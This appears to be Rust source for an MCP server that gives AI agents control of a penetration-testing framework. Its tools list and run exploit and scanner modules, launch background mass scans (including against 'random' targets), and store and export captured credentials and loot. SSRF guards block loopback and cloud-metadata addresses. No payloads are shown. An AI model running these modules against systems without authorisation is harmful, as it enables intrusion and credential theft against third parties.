) -> Result<CallToolResult, McpError> {
let name = request.name.to_string();
// rmcp delivers arguments as `Option<JsonObject>`; the existing
// dispatcher expects a JSON `Value` (defaulting to `{}` when absent).
let arguments = match request.arguments {
Some(map) => Value::Object(map),
None => Value::Object(Map::new()),
};
// Bound execution so one hung tool cannot wedge the server. On expiry,
// surface a JSON-RPC error instead of blocking the connection.
let result = match module_timeout() {
Some(dur) => {
match tokio::time::timeout(dur, super::tools::call_tool(&name, arguments)).await {
Ok(r) => r,
Err(elapsed) => {
tracing::debug!("MCP tool '{}' timed out: {elapsed}", name);
eprintln!(
"[MCP] tool '{}' exceeded {}s timeout — aborting call",
name,
dur.as_secs()
);
return Err(McpError::internal_error(
format!("Tool '{}' timed out after {} seconds", name, dur.as_secs()),
None,
));
}
}
}
None => super::tools::call_tool(&name, arguments).await,
};
Ok(to_rmcp_tool_result(result))
}
async fn list_resources(
&self,
_request: Option<PaginatedRequestParams>,
_context: RequestContext<RoleServer>,
) -> Result<ListResourcesResult, McpError> {
let resources = super::resources::all_resources()
.into_iter()
.map(to_rmcp_resource)
.collect();
Ok(ListResourcesResult::with_all_items(resources))
}
async fn read_resource(
&self,
request: ReadResourceRequestParams,
_context: RequestContext<RoleServer>,
) -> Result<ReadResourceResult, McpError> {
let content = super::resources::read_resource(&request.uri).await;
let contents = ResourceContents::TextResourceContents {
uri: content.uri,
mime_type: Some(content.mime_type),
text: content.text,
meta: None,
};
Ok(ReadResourceResult::new(vec![contents]))
}
}
// ---------------------------------------------------------------------------
// Mapping helpers: internal registry types -> rmcp model types.
// ---------------------------------------------------------------------------
/// Map an internal tool descriptor to an rmcp `Tool`. The hand-authored
/// `inputSchema` JSON is reused verbatim (rmcp expects a JSON-Schema object).
fn to_rmcp_tool(t: super::types::Tool) -> Tool {
let schema: Map<String, Value> = match t.input_schema {
Value::Object(map) => map,
// A non-object schema is malformed; advertise an empty object rather
// than panicking so the rest of the tool list still loads.
_ => Map::new(),
};
Tool::new(t.name, t.description, Arc::new(schema))
}
/// Map an internal tool result to rmcp's `CallToolResult`. All internal content
/// blocks are text; `is_error` selects the error vs. success constructor.
fn to_rmcp_tool_result(r: super::types::ToolResult) -> CallToolResult {
let content: Vec<Content> = r
.content
.into_iter()
.map(|c| Content::text(c.text))
.collect();
if r.is_error == Some(true) {
CallToolResult::error(content)
} else {
CallToolResult::success(content)
}
}
/// Map an internal resource descriptor to an rmcp `Resource`.
fn to_rmcp_resource(res: super::types::Resource) -> Resource {
RawResource::new(res.uri, res.name)
.with_description(res.description)
.with_mime_type(res.mime_type)
.no_annotation()
}
+988
View File
@@ -0,0 +1,988 @@
use std::collections::HashMap;
use once_cell::sync::Lazy;
use serde_json::{json, Value};
use super::types::{Tool, ToolResult};
/// Cached tool definitions — built once, reused on every tools/list call.
static TOOL_DEFINITIONS: Lazy<Vec<Tool>> = Lazy::new(build_tool_definitions);
/// Return definitions for all MCP tools (cached).
pub fn all_tools() -> Vec<Tool> {
TOOL_DEFINITIONS.clone()
}
fn build_tool_definitions() -> Vec<Tool> {
vec![
// ── Module tools ──────────────────────────────────────────────
Tool {
name: "list_modules".into(),
description: "List all available modules, optionally filtered by category".into(),
input_schema: json!({
"type": "object",
"properties": {
"category": { "type": "string", "description": "Filter by category (exploits, scanners, creds, plugins)" }
}
}),
},
Tool {
name: "search_modules".into(),
description: "Search modules by keyword (case-insensitive substring match)".into(),
input_schema: json!({
"type": "object",
"properties": {
"query": { "type": "string", "description": "Search query" }
},
"required": ["query"]
}),
},
Tool {
name: "module_info".into(),
description: "Get metadata for a specific module (name, description, authors, references, rank)".into(),
input_schema: json!({
"type": "object",
"properties": {
"module_path": { "type": "string", "description": "Full module path, e.g. exploits/router_exploit" }
},
"required": ["module_path"]
}),
},
// ── Target tools ──────────────────────────────────────────────
Tool {
name: "set_target".into(),
description: "Set the global target (IP, hostname, CIDR subnet, or comma-separated list)".into(),
input_schema: json!({
"type": "object",
"properties": {
"target": { "type": "string", "description": "Target value" }
},
"required": ["target"]
}),
},
Tool {
name: "get_target".into(),
description: "Get the current global target, its size, and whether it is a subnet".into(),
input_schema: json!({ "type": "object", "properties": {} }),
},
Tool {
name: "clear_target".into(),
description: "Clear the global target".into(),
input_schema: json!({ "type": "object", "properties": {} }),
},
// ── Execution ─────────────────────────────────────────────────
Tool {
name: "run_module".into(),
description: "Execute a module against a target, returning captured output. For mass scans (CIDR / `random` / comma-separated lists) set background:true to run as a job and return immediately (avoids the tool-call timeout); poll list_jobs and read hosts/loot/creds for results.".into(),
input_schema: json!({
"type": "object",
"properties": {
"module_path": { "type": "string", "description": "Full module path" },
"target": { "type": "string", "description": "Target IP, hostname, CIDR, comma-list, or 'random'" },
"port": { "type": "integer", "description": "Optional port override" },
"verbose": { "type": "boolean", "description": "Enable verbose output" },
"background": { "type": "boolean", "description": "Run as a background job and return a job_id immediately (recommended for mass scans)" },
"prompts": {
"type": "object",
"description": "Key-value prompt overrides (e.g. {\"port\": \"8080\", \"timeout\": \"5\"})",
"additionalProperties": { "type": "string" }
}
},
"required": ["module_path", "target"]
}),
},
// ── Credentials ───────────────────────────────────────────────
Tool {
name: "list_creds".into(),
description: "List all stored credentials".into(),
input_schema: json!({ "type": "object", "properties": {} }),
},
Tool {
name: "search_creds".into(),
description: "Search credentials by host, service, or username".into(),
input_schema: json!({
"type": "object",
"properties": {
"query": { "type": "string", "description": "Search query" }
},
"required": ["query"]
}),
},
Tool {
name: "add_cred".into(),
description: "Add a credential to the store".into(),
input_schema: json!({
"type": "object",
"properties": {
"host": { "type": "string" },
"username": { "type": "string" },
"secret": { "type": "string" },
"port": { "type": "integer", "default": 0 },
"service": { "type": "string", "default": "unknown" },
"cred_type": { "type": "string", "enum": ["password", "hash", "key", "token"], "default": "password" }
},
"required": ["host", "username", "secret"]
}),
},
Tool {
name: "delete_cred".into(),
description: "Delete a credential by its ID".into(),
input_schema: json!({
"type": "object",
"properties": {
"id": { "type": "string", "description": "Credential ID" }
},
"required": ["id"]
}),
},
// ── Workspace hosts & services ────────────────────────────────
Tool {
name: "list_hosts".into(),
description: "List all tracked hosts in the current workspace".into(),
input_schema: json!({ "type": "object", "properties": {} }),
},
Tool {
name: "add_host".into(),
description: "Add or update a host in the workspace".into(),
input_schema: json!({
"type": "object",
"properties": {
"ip": { "type": "string" },
"hostname": { "type": "string" },
"os_guess": { "type": "string" }
},
"required": ["ip"]
}),
},
Tool {
name: "delete_host".into(),
description: "Delete a host (and its services) from the workspace".into(),
input_schema: json!({
"type": "object",
"properties": {
"ip": { "type": "string" }
},
"required": ["ip"]
}),
},
Tool {
name: "list_services".into(),
description: "List all tracked services in the current workspace".into(),
input_schema: json!({ "type": "object", "properties": {} }),
},
Tool {
name: "add_service".into(),
description: "Add or update a service in the workspace".into(),
input_schema: json!({
"type": "object",
"properties": {
"host": { "type": "string" },
"port": { "type": "integer" },
"service_name": { "type": "string" },
"protocol": { "type": "string", "default": "tcp" },
"version": { "type": "string" }
},
"required": ["host", "port", "service_name"]
}),
},
Tool {
name: "delete_service".into(),
description: "Delete a service by host and port".into(),
input_schema: json!({
"type": "object",
"properties": {
"host": { "type": "string" },
"port": { "type": "integer" }
},
"required": ["host", "port"]
}),
},
// ── Loot ──────────────────────────────────────────────────────
Tool {
name: "list_loot".into(),
description: "List all stored loot entries".into(),
input_schema: json!({ "type": "object", "properties": {} }),
},
Tool {
name: "search_loot".into(),
description: "Search loot by host, type, or description".into(),
input_schema: json!({
"type": "object",
"properties": {
"query": { "type": "string" }
},
"required": ["query"]
}),
},
Tool {
name: "add_loot".into(),
description: "Store a loot entry (text data)".into(),
input_schema: json!({
"type": "object",
"properties": {
"host": { "type": "string" },
"loot_type": { "type": "string", "description": "e.g. config, password_file, hash, firmware" },
"data": { "type": "string", "description": "Loot content (text)" },
"description": { "type": "string" }
},
"required": ["host", "loot_type", "data"]
}),
},
Tool {
name: "delete_loot".into(),
description: "Delete a loot entry by ID".into(),
input_schema: json!({
"type": "object",
"properties": {
"id": { "type": "string" }
},
"required": ["id"]
}),
},
// ── Global options ────────────────────────────────────────────
Tool {
name: "list_options".into(),
description: "List all persistent global options (setg values)".into(),
input_schema: json!({ "type": "object", "properties": {} }),
},
Tool {
name: "set_option".into(),
description: "Set a persistent global option".into(),
input_schema: json!({
"type": "object",
"properties": {
"key": { "type": "string" },
"value": { "type": "string" }
},
"required": ["key", "value"]
}),
},
Tool {
name: "unset_option".into(),
description: "Remove a persistent global option".into(),
input_schema: json!({
"type": "object",
"properties": {
"key": { "type": "string" }
},
"required": ["key"]
}),
},
// ── Jobs ──────────────────────────────────────────────────────
Tool {
name: "list_jobs".into(),
description: "List active background jobs".into(),
input_schema: json!({ "type": "object", "properties": {} }),
},
Tool {
name: "kill_job".into(),
description: "Kill a background job by ID".into(),
input_schema: json!({
"type": "object",
"properties": {
"id": { "type": "integer" }
},
"required": ["id"]
}),
},
// ── Workspace management ──────────────────────────────────────
Tool {
name: "list_workspaces".into(),
description: "List all available workspaces".into(),
input_schema: json!({ "type": "object", "properties": {} }),
},
Tool {
name: "switch_workspace".into(),
description: "Switch to a different workspace (creates it if it does not exist)".into(),
input_schema: json!({
"type": "object",
"properties": {
"name": { "type": "string" }
},
"required": ["name"]
}),
},
// ── Export ────────────────────────────────────────────────────
Tool {
name: "export_data".into(),
description: "Export full engagement data (workspace, hosts, services, credentials, loot) as JSON".into(),
input_schema: json!({ "type": "object", "properties": {} }),
},
]
}
// ===========================================================================
// Tool dispatch
// ===========================================================================
/// Dispatch a tool call by name.
pub async fn call_tool(name: &str, args: Value) -> ToolResult {
match name {
// ── Module tools ──────────────────────────────────────────
"list_modules" => handle_list_modules(&args),
"search_modules" => handle_search_modules(&args),
"module_info" => handle_module_info(&args),
// ── Target tools ──────────────────────────────────────────
"set_target" => handle_set_target(&args).await,
"get_target" => handle_get_target(),
"clear_target" => handle_clear_target(),
// ── Execution ─────────────────────────────────────────────
"run_module" => handle_run_module(&args).await,
// ── Credentials ───────────────────────────────────────────
"list_creds" => handle_list_creds().await,
"search_creds" => handle_search_creds(&args).await,
"add_cred" => handle_add_cred(&args).await,
"delete_cred" => handle_delete_cred(&args).await,
// ── Workspace hosts & services ────────────────────────────
"list_hosts" => handle_list_hosts().await,
"add_host" => handle_add_host(&args).await,
"delete_host" => handle_delete_host(&args).await,
"list_services" => handle_list_services().await,
"add_service" => handle_add_service(&args).await,
"delete_service" => handle_delete_service(&args).await,
// ── Loot ──────────────────────────────────────────────────
"list_loot" => handle_list_loot().await,
"search_loot" => handle_search_loot(&args).await,
"add_loot" => handle_add_loot(&args).await,
"delete_loot" => handle_delete_loot(&args).await,
// ── Global options ────────────────────────────────────────
"list_options" => handle_list_options().await,
"set_option" => handle_set_option(&args).await,
"unset_option" => handle_unset_option(&args).await,
// ── Jobs ──────────────────────────────────────────────────
"list_jobs" => handle_list_jobs(),
"kill_job" => handle_kill_job(&args),
// ── Workspace management ──────────────────────────────────
"list_workspaces" => handle_list_workspaces().await,
"switch_workspace" => handle_switch_workspace(&args).await,
// ── Export ────────────────────────────────────────────────
"export_data" => handle_export_data().await,
_ => ToolResult::error(format!("Unknown tool: {}", name)),
}
}
// ===========================================================================
// Helpers to extract typed values from serde_json::Value
// ===========================================================================
/// Extract a required string parameter, returning ToolResult::error if missing.
macro_rules! require_str {
($args:expr, $key:expr) => {
match str_param($args, $key) {
Some(v) => v,
None => return ToolResult::error(format!("Missing required parameter: {}", $key)),
}
};
}
fn str_param<'a>(args: &'a Value, key: &str) -> Option<&'a str> {
args.get(key).and_then(|v| v.as_str())
}
fn u16_param(args: &Value, key: &str) -> Option<u16> {
// try_from rejects out-of-range — `as u16` would silently wrap, e.g.
// {"port": 70000} → 4464, bypassing every downstream port check.
args.get(key).and_then(|v| v.as_u64()).and_then(|n| u16::try_from(n).ok())
}
fn u32_param(args: &Value, key: &str) -> Option<u32> {
args.get(key).and_then(|v| v.as_u64()).and_then(|n| u32::try_from(n).ok())
}
fn bool_param(args: &Value, key: &str) -> Option<bool> {
args.get(key).and_then(|v| v.as_bool())
}
fn prompts_param(args: &Value) -> HashMap<String, String> {
let mut map = HashMap::new();
if let Some(obj) = args.get("prompts").and_then(|v| v.as_object()) {
for (k, v) in obj {
if let Some(s) = v.as_str() {
map.insert(k.clone(), s.to_string());
}
}
}
map
}
/// Reduce an attacker-supplied prompt value to a bare host suitable for the
/// SSRF block-check chain (`is_blocked_target` / `ssrf_gate`), which expect an
/// IP/hostname rather than a full URL. Returns None when the value can't yield
/// a host to check.
fn extract_ssrf_candidate(raw: &str) -> Option<String> {
let val = raw.trim();
if val.is_empty() {
return None;
}
// Strip a scheme (e.g. http://, https://, ftp://, gopher://) if present.
let after_scheme = match val.find("://") {
Some(idx) => &val[idx + 3..],
None => val,
};
// Strip any userinfo (user:pass@host).
let after_userinfo = match after_scheme.rsplit_once('@') {
Some((_, host_part)) => host_part,
None => after_scheme,
};
// Cut off path / query / fragment.
let authority = after_userinfo
.split(['/', '?', '#'])
.next()
.unwrap_or(after_userinfo);
// Strip a trailing :port. Handle bracketed IPv6 literals separately.
let host = if let Some(stripped) = authority.strip_prefix('[') {
// [ipv6]:port or [ipv6]
stripped.split(']').next().unwrap_or(stripped)
} else if authority.matches(':').count() > 1 {
// Bare IPv6 literal (e.g. `::1`, `fe80::1`) — there is no port to strip;
// keep the whole authority. Without this, `rsplit_once(':')` on `::1`
// yields host `":"`, which sails past the loopback/link-local SSRF
// filters (mirrors the single-colon guard in api::is_blocked_target).
authority
} else if let Some((h, _port)) = authority.rsplit_once(':') {
// Only treat the suffix as a port if it is all digits; otherwise the
// colon is part of the host (shouldn't happen for unbracketed) — keep
// the whole authority.
let port_part = &authority[h.len() + 1..];
if !port_part.is_empty() && port_part.chars().all(|c| c.is_ascii_digit()) {
h
} else {
authority
}
} else {
authority
};
let host = host.trim();
if host.is_empty() {
None
} else {
Some(host.to_string())
}
}
/// Heuristic: does this prompt value look like a URL or a host:port pair?
/// Used so we only apply the SSRF check to non-destination keys when the value
/// is plausibly a network destination, avoiding false rejection of unrelated
/// string options.
fn looks_like_url_or_hostport(raw: &str) -> bool {
let val = raw.trim();
if val.is_empty() {
return false;
}
if val.contains("://") {
return true;
}
// host:port form (e.g. 169.254.169.254:80) — digits after the last colon.
if let Some((host, port)) = val.rsplit_once(':') {
if !host.is_empty()
&& !port.is_empty()
&& port.chars().all(|c| c.is_ascii_digit())
&& !host.contains(' ')
{
return true;
}
}
false
}
// ===========================================================================
// Individual tool handlers
// ===========================================================================
// ── Module tools ──────────────────────────────────────────────────────────
fn handle_list_modules(args: &Value) -> ToolResult {
let modules = crate::commands::discover_modules();
let filtered: Vec<&String> = if let Some(cat) = str_param(args, "category") {
let prefix = format!("{}/", cat);
modules.iter().filter(|m| m.starts_with(&prefix)).collect()
} else {
modules.iter().collect()
};
ToolResult::json(&filtered)
}
fn handle_search_modules(args: &Value) -> ToolResult {
let query = require_str!(args, "query");
let q_lower = query.to_lowercase();
let modules = crate::commands::discover_modules();
let matched: Vec<&String> = modules
.iter()
.filter(|m| m.to_lowercase().contains(&q_lower))
.collect();
ToolResult::json(&matched)
}
fn handle_module_info(args: &Value) -> ToolResult {
let path = require_str!(args, "module_path");
if !crate::api::validate_module_name(path) {
return ToolResult::error("Invalid module name".into());
}
match crate::commands::module_info(path) {
Some(info) => ToolResult::json(&info),
None => ToolResult::error(format!("No info available for module '{}'", path)),
}
}
// ── Target tools ──────────────────────────────────────────────────────────
async fn handle_set_target(args: &Value) -> ToolResult {
let target = require_str!(args, "target");
if !crate::api::validate_target(target) {
return ToolResult::error("Invalid target format".into());
}
if crate::api::is_blocked_target(target) {
return ToolResult::error("Target matches blocked address range".into());
}
if let Err((code, msg)) = crate::api::ssrf_gate(target).await {
return ToolResult::error(format!("[{}] {}", code, msg));
}
match crate::config::GLOBAL_CONFIG.set_target(target) {
Ok(()) => ToolResult::text(format!("Target set to: {}", target)),
Err(e) => ToolResult::error(format!("Failed to set target: {}", e)),
}
}
fn handle_get_target() -> ToolResult {
let target = crate::config::GLOBAL_CONFIG.get_target();
let size = crate::config::GLOBAL_CONFIG.get_target_size();
let is_subnet = crate::config::GLOBAL_CONFIG.is_subnet();
ToolResult::json(&json!({
"target": target,
"size": size,
"is_subnet": is_subnet,
}))
}
fn handle_clear_target() -> ToolResult {
crate::config::GLOBAL_CONFIG.clear_target();
ToolResult::text("Target cleared".into())
}
// ── Execution ─────────────────────────────────────────────────────────────
async fn handle_run_module(args: &Value) -> ToolResult {
let module_path = require_str!(args, "module_path").to_string();
let target = require_str!(args, "target").to_string();
let verbose = bool_param(args, "verbose").unwrap_or(false);
if !crate::api::validate_module_name(&module_path) {
return ToolResult::error("Invalid module name".into());
}
if !crate::api::validate_target(&target) {
return ToolResult::error("Invalid target format".into());
}
if crate::api::is_blocked_target(&target) {
return ToolResult::error("Target matches blocked address range".into());
}
if let Err((code, msg)) = crate::api::ssrf_gate(&target).await {
return ToolResult::error(format!("[{}] {}", code, msg));
}
if !crate::commands::discover_modules().contains(&module_path) {
return ToolResult::error(format!("Module '{}' not found", module_path));
}
let mut prompts = prompts_param(args);
// Port is optional: absent or null means "use the module default". If it IS
// present it must be a valid 1-65535 integer — reject an out-of-range value
// explicitly rather than silently dropping it (which would fall back to the
// default and hide the operator's typo).
if args.get("port").is_some_and(|v| !v.is_null()) {
match u16_param(args, "port") {
Some(port) => {
prompts.entry("port".into()).or_insert_with(|| port.to_string());
}
None => return ToolResult::error("Invalid 'port': must be an integer 1-65535".into()),
}
}
// Strip "target" from prompts to prevent SSRF bypass via prompt injection
prompts.remove("target");
// SSRF guard: many modules read their actual connection destination from a
// prompt key other than `target` (e.g. url/host/endpoint/lhost). Run the
// same block-check chain we applied to `target` over every prompt value that
// looks like a URL or host so a benign `target` can't be used to smuggle a
// blocked metadata/link-local/loopback destination past the filter.
for (key, raw) in prompts.iter() {
let lkey = key.to_ascii_lowercase();
let is_dest_key = matches!(lkey.as_str(), "url" | "host" | "endpoint" | "lhost" | "rhost" | "remote_host" | "target_url" | "uri");
if let Some(candidate) = extract_ssrf_candidate(raw) {
// Always check explicit destination keys; for other keys only check
// values that actually parse as a URL or host:port to avoid false
// rejections of unrelated string options.
if is_dest_key || looks_like_url_or_hostport(raw) {
if crate::api::is_blocked_target(&candidate) {
return ToolResult::error(format!(
"Prompt '{}' targets a blocked address range",
key
));
}
if let Err((code, msg)) = crate::api::ssrf_gate(&candidate).await {
return ToolResult::error(format!("Prompt '{}' [{}]: {}", key, code, msg));
}
}
}
}
let module_config = crate::config::ModuleConfig {
api_mode: true,
custom_prompts: prompts,
};
// Background mode: spawn a job and return immediately. Essential for mass
// scans (CIDR / random / lists) whose fan-out can run far longer than the
// MCP tool-call timeout — running them inline would be cut off mid-scan.
if bool_param(args, "background").unwrap_or(false) {
let s = crate::tenant::resolve();
return match s.job_manager().spawn(module_path.clone(), target.clone(), verbose, Some(module_config)) {
Ok((job_id, _progress)) => ToolResult::json(&serde_json::json!({
"job_id": job_id,
"status": "started",
"note": "poll list_jobs for status; results land in hosts/loot/creds",
})),
Err(e) => ToolResult::error(format!("Failed to start job: {e}")),
};
}
let output_buf = crate::output::OutputBuffer::new();
let buf_clone = output_buf.clone();
let (result, _ctx) = crate::context::run_with_context_target(
module_config,
target.clone(),
|| async {
crate::output::OUTPUT_BUFFER
.scope(buf_clone, async {
crate::commands::run_module(&module_path, &target, verbose).await
})
.await
},
)
.await;
let stdout = output_buf.drain_stdout();
let stderr = output_buf.drain_stderr();
match result {
Ok(()) => {
let mut text = stdout;
if !stderr.is_empty() {
text.push_str("\n--- stderr ---\n");
text.push_str(&stderr);
}
if text.is_empty() {
text = "Module completed successfully (no output captured)".into();
}
ToolResult::text(text)
}
Err(e) => {
let mut msg = format!("Module error: {}\n", e);
if !stdout.is_empty() {
msg.push_str("\n--- stdout ---\n");
msg.push_str(&stdout);
}
if !stderr.is_empty() {
msg.push_str("\n--- stderr ---\n");
msg.push_str(&stderr);
}
ToolResult::error(msg)
}
}
}
// ── Credentials ───────────────────────────────────────────────────────────
async fn handle_list_creds() -> ToolResult {
let creds = crate::cred_store::CRED_STORE.list().await;
ToolResult::json(&creds)
}
async fn handle_search_creds(args: &Value) -> ToolResult {
let query = require_str!(args, "query");
let results = crate::cred_store::CRED_STORE.search(query).await;
ToolResult::json(&results)
}
async fn handle_add_cred(args: &Value) -> ToolResult {
let host = require_str!(args, "host");
let username = require_str!(args, "username");
let secret = require_str!(args, "secret");
let port = match u16_param(args, "port") {
Some(0) => return ToolResult::error("Port must be between 1 and 65535".into()),
Some(p) => p,
None => return ToolResult::error("Missing required parameter: port".into()),
};
let service = str_param(args, "service").unwrap_or("unknown");
if host.len() > 4096 || host.chars().any(|c| c.is_control()) {
return ToolResult::error("host too long (max 4096) or contains control characters".into());
}
if username.len() > 4096 || username.chars().any(|c| c.is_control()) {
return ToolResult::error("username too long (max 4096) or contains control characters".into());
}
if secret.len() > 4096 {
return ToolResult::error("secret too long (max 4096 chars)".into());
}
if service.len() > 4096 || service.chars().any(|c| c.is_control()) {
return ToolResult::error("service too long (max 4096) or contains control characters".into());
}
let cred_type = match str_param(args, "cred_type").unwrap_or("password") {
"hash" => crate::cred_store::CredType::Hash,
"key" => crate::cred_store::CredType::Key,
"token" => crate::cred_store::CredType::Token,
_ => crate::cred_store::CredType::Password,
};
match crate::cred_store::CRED_STORE
.add(crate::cred_store::NewCred { host, port, service, username, secret, cred_type, source_module: "mcp" })
.await
{
Some(id) => ToolResult::json(&json!({ "id": id, "status": "added" })),
None => ToolResult::error("Failed to add credential (store limit reached or I/O error)".into()),
}
}
async fn handle_delete_cred(args: &Value) -> ToolResult {
let id = require_str!(args, "id");
if crate::cred_store::CRED_STORE.delete(id).await {
ToolResult::text(format!("Credential {} deleted", id))
} else {
ToolResult::error(format!("Credential {} not found", id))
}
}
// ── Workspace hosts & services ────────────────────────────────────────────
async fn handle_list_hosts() -> ToolResult {
let hosts = crate::workspace::WORKSPACE.hosts().await;
ToolResult::json(&hosts)
}
async fn handle_add_host(args: &Value) -> ToolResult {
let ip = require_str!(args, "ip");
if ip.len() > 256 || ip.chars().any(|c| c.is_control()) {
return ToolResult::error("IP too long (max 256) or contains control characters".into());
}
let hostname = str_param(args, "hostname");
if let Some(h) = hostname
&& (h.len() > 256 || h.chars().any(|c| c.is_control())) {
return ToolResult::error("hostname too long (max 256) or contains control characters".into());
}
let os_guess = str_param(args, "os_guess");
if let Some(o) = os_guess
&& (o.len() > 256 || o.chars().any(|c| c.is_control())) {
return ToolResult::error("os_guess too long (max 256) or contains control characters".into());
}
crate::workspace::WORKSPACE
.add_host(ip, hostname, os_guess)
.await;
ToolResult::text(format!("Host {} added/updated", ip))
}
async fn handle_delete_host(args: &Value) -> ToolResult {
let ip = require_str!(args, "ip");
if crate::workspace::WORKSPACE.delete_host(ip).await {
ToolResult::text(format!("Host {} deleted", ip))
} else {
ToolResult::error(format!("Host {} not found", ip))
}
}
async fn handle_list_services() -> ToolResult {
let services = crate::workspace::WORKSPACE.services().await;
ToolResult::json(&services)
}
async fn handle_add_service(args: &Value) -> ToolResult {
let host = require_str!(args, "host");
let port = match u16_param(args, "port") {
Some(0) => return ToolResult::error("Port must be between 1 and 65535".into()),
Some(v) => v,
None => return ToolResult::error("Missing required parameter: port".into()),
};
if host.len() > 256 || host.chars().any(|c| c.is_control()) {
return ToolResult::error("host too long (max 256) or contains control characters".into());
}
let service_name = require_str!(args, "service_name");
let protocol = str_param(args, "protocol").unwrap_or("tcp");
if protocol.len() > 256 || protocol.chars().any(|c| c.is_control()) {
return ToolResult::error("protocol too long (max 256) or contains control characters".into());
}
let version = str_param(args, "version");
crate::workspace::WORKSPACE
.add_service(host, port, protocol, service_name, version)
.await;
ToolResult::text(format!("Service {}:{} ({}) added/updated", host, port, service_name))
}
async fn handle_delete_service(args: &Value) -> ToolResult {
let host = require_str!(args, "host");
let port = match u16_param(args, "port") {
Some(v) => v,
None => return ToolResult::error("Missing required parameter: port".into()),
};
let protocol = args.get("protocol").and_then(|v| v.as_str());
if crate::workspace::WORKSPACE.delete_service(host, port, protocol).await {
ToolResult::text(format!("Service {}:{} deleted", host, port))
} else {
ToolResult::error(format!("Service {}:{} not found", host, port))
}
}
// ── Loot ──────────────────────────────────────────────────────────────────
async fn handle_list_loot() -> ToolResult {
let loot = crate::loot::LOOT_STORE.list().await;
ToolResult::json(&loot)
}
async fn handle_search_loot(args: &Value) -> ToolResult {
let query = require_str!(args, "query");
let results = crate::loot::LOOT_STORE.search(query).await;
ToolResult::json(&results)
}
async fn handle_add_loot(args: &Value) -> ToolResult {
let host = require_str!(args, "host");
let loot_type = require_str!(args, "loot_type");
let data = require_str!(args, "data");
let description = str_param(args, "description").unwrap_or("");
if host.len() > 256 || loot_type.len() > 256 {
return ToolResult::error("host or loot_type too long (max 256)".into());
}
if description.len() > 4096 {
return ToolResult::error("description too long (max 4096)".into());
}
const MAX_LOOT_DATA: usize = 100 * 1024 * 1024;
if data.len() > MAX_LOOT_DATA {
return ToolResult::error(format!("data too large ({} bytes, max {} MB)", data.len(), MAX_LOOT_DATA / 1024 / 1024));
}
match crate::loot::LOOT_STORE
.add_text(host, loot_type, description, data, "mcp")
.await
{
Some(id) => ToolResult::json(&json!({ "id": id, "status": "stored" })),
None => ToolResult::error("Failed to store loot (validation or I/O error)".into()),
}
}
async fn handle_delete_loot(args: &Value) -> ToolResult {
let id = require_str!(args, "id");
if crate::loot::LOOT_STORE.delete(id).await {
ToolResult::text(format!("Loot {} deleted", id))
} else {
ToolResult::error(format!("Loot {} not found", id))
}
}
// ── Global options ────────────────────────────────────────────────────────
async fn handle_list_options() -> ToolResult {
let opts = crate::global_options::GLOBAL_OPTIONS.all().await;
ToolResult::json(&opts)
}
async fn handle_set_option(args: &Value) -> ToolResult {
let key = require_str!(args, "key");
let value = require_str!(args, "value");
if !crate::global_options::GLOBAL_OPTIONS.set(key, value).await {
return ToolResult::error(format!("Failed to set '{}': key/value too long or entry limit reached", key));
}
ToolResult::text(format!("{} => {}", key, value))
}
async fn handle_unset_option(args: &Value) -> ToolResult {
let key = require_str!(args, "key");
if crate::global_options::GLOBAL_OPTIONS.unset(key).await {
ToolResult::text(format!("Option '{}' removed", key))
} else {
ToolResult::error(format!("Option '{}' not found", key))
}
}
// ── Jobs ──────────────────────────────────────────────────────────────────
fn handle_list_jobs() -> ToolResult {
// Use the tenant-scoped job manager — the same one `run_module` spawns into
// (line ~639) — so a job started under a non-default tenant is visible here
// instead of vanishing into the process-global manager.
let jobs = crate::tenant::resolve().job_manager().list();
let entries: Vec<Value> = jobs
.into_iter()
.map(|(id, module, target, started, status)| {
json!({
"id": id,
"module": module,
"target": target,
"started": started,
"status": status,
})
})
.collect();
ToolResult::json(&entries)
}
fn handle_kill_job(args: &Value) -> ToolResult {
let id = match u32_param(args, "id") {
Some(v) => v,
None => return ToolResult::error("Missing required parameter: id (integer)".into()),
};
// Tenant-scoped (matches spawn + list) so tenant jobs are killable.
if crate::tenant::resolve().job_manager().kill(id) {
ToolResult::text(format!("Job {} killed", id))
} else {
ToolResult::error(format!("Job {} not found", id))
}
}
// ── Workspace management ──────────────────────────────────────────────────
async fn handle_list_workspaces() -> ToolResult {
let workspaces = crate::workspace::WORKSPACE.list_workspaces().await;
let current = crate::workspace::WORKSPACE.current_name().await;
ToolResult::json(&json!({
"workspaces": workspaces,
"current": current,
}))
}
async fn handle_switch_workspace(args: &Value) -> ToolResult {
let name = require_str!(args, "name");
if name.is_empty() || name.len() > 64
|| name.chars().any(|c| !c.is_alphanumeric() && c != '_' && c != '-')
{
return ToolResult::error("Workspace name must be 1-64 alphanumeric chars, dashes, or underscores".into());
}
crate::workspace::WORKSPACE.switch(name).await;
ToolResult::text(format!("Switched to workspace: {}", name))
}
// ── Export ─────────────────────────────────────────────────────────────────
async fn handle_export_data() -> ToolResult {
let workspace_name = crate::workspace::WORKSPACE.current_name().await;
let workspace_data = crate::workspace::WORKSPACE.get_data().await;
let creds = crate::cred_store::CRED_STORE.list().await;
let loot = crate::loot::LOOT_STORE.list().await;
ToolResult::json(&json!({
"workspace": workspace_name,
"exported_at": chrono::Local::now().format("%Y-%m-%d %H:%M:%S").to_string(),
"hosts": workspace_data.hosts,
"services": workspace_data.services,
"credentials": creds,
"loot": loot,
}))
}
+185
View File
@@ -0,0 +1,185 @@
use serde::{Deserialize, Serialize};
use serde_json::Value;
// ---------------------------------------------------------------------------
// JSON-RPC 2.0 core types
// ---------------------------------------------------------------------------
/// Incoming JSON-RPC 2.0 request (or notification when `id` is `None`).
#[derive(Deserialize)]
pub struct JsonRpcRequest {
pub jsonrpc: String,
/// `None` means this is a notification (no response expected).
pub id: Option<Value>,
pub method: String,
pub params: Option<Value>,
}
/// Outgoing JSON-RPC 2.0 response.
#[derive(Serialize)]
pub struct JsonRpcResponse {
pub jsonrpc: String,
#[serde(skip_serializing_if = "Option::is_none")]
pub id: Option<Value>,
#[serde(skip_serializing_if = "Option::is_none")]
pub result: Option<Value>,
#[serde(skip_serializing_if = "Option::is_none")]
pub error: Option<JsonRpcError>,
}
/// JSON-RPC 2.0 error object.
#[derive(Serialize)]
pub struct JsonRpcError {
pub code: i64,
pub message: String,
#[serde(skip_serializing_if = "Option::is_none")]
pub data: Option<Value>,
}
impl JsonRpcResponse {
/// Build a successful response carrying `result`.
pub fn success(id: Option<Value>, result: Value) -> Self {
Self {
jsonrpc: "2.0".to_string(),
id,
result: Some(result),
error: None,
}
}
/// Build an error response.
pub fn error(id: Option<Value>, code: i64, message: String) -> Self {
Self {
jsonrpc: "2.0".to_string(),
id,
result: None,
